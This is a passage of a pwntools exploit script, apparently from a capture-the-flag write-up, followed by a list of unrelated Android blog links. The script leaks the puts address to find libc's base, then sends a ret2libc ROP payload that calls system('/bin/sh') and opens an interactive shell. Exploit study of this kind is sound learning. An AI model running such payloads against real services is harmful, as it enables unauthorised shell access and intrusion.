 puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
 print(hex(puts_addr))
 libcbase = puts_addr - libc.symbols['puts']
 print(hex(libcbase))
 system = libcbase + libc.symbols['system']
 print(hex(system))
 str_bin_sh = libcbase + next(libc.search(b'/bin/sh'))
 print(hex(str_bin_sh))
 
 io.recv()
 io.sendline(b'1')
 payload = b'A'*0x88 + p64(0x00000000004005d6) + p64(0x0000000000400903) + p64(str_bin_sh) + p64(system)
 io.sendline(payload)
 
 io.interactive()
相关推荐
幻雨様2 小时前
UE5多人MOBA+GAS 45、制作冲刺技能
android·ue5
Jerry说前后端4 小时前
Android 数据可视化开发:从技术选型到性能优化
android·信息可视化·性能优化
Meteors.5 小时前
Android约束布局(ConstraintLayout)常用属性
android
alexhilton6 小时前
玩转Shader之学会如何变形画布
android·kotlin·android jetpack
whysqwhw10 小时前
安卓图片性能优化技巧
android
风往哪边走10 小时前
自定义底部筛选弹框
android
Yyyy48211 小时前
MyCAT基础概念
android
Android轮子哥11 小时前
尝试解决 Android 适配最后一公里
android
雨白12 小时前
OkHttp 源码解析:enqueue 非同步流程与 Dispatcher 调度
android
风往哪边走13 小时前
自定义仿日历组件弹框
android